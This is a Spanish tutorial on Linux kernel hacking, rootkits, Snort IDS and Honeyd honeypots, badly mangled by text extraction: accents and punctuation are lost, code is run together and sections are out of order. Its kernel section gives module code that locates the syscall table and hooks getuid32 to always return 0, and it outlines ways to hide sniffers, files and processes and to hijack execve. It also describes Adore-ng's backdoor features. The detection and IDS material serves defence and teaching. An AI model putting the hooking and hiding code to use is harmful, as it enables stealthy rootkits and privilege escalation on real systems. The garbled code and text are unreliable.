Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 21: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

